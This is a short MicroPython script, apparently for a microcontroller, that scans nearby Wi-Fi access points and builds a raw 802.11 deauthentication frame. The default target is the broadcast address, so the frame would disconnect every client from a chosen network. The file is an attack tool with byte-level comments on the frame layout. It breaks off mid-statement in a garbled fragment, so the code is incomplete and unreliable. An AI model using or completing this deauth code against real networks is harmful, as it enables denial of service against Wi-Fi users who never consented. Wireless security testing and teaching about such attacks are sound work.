import time
import uos
import wireless
sta_if=wireless.attack(0)#0:STA 模式
sta_if.active(True)
ap_list=sta_if.scan()
print(ap_list)
ssid=''
bssid=''#bssid:AP MAC address
channel=''#信道
_client=[0xFF,0xFF,0xFF,0xFF,0xFF,0xFF]#默认
def deauth(_ap,_client,type,reason):
# 0 - 1 type, subtype c0: deauth (a0: disassociate)
# 2 - 3 duration (SDK takes care of that)
# 4 - 9 reciever (target)
# 10 - 15 source (ap)
# 16 - 21 BSSID (ap)
# 22 - 23 fragment & squence number
# 24 - 25 reason code (1 = unspecified reason)
packet=bytearray([0xC0,0x00,0x00,0x00,0xBB,0xBB,0xBB,0xBB,0xBB,0xBB,0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC,0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC,0x00, 0x00,0x01, 0x00])
for i in range(0,6):
packet[4 &#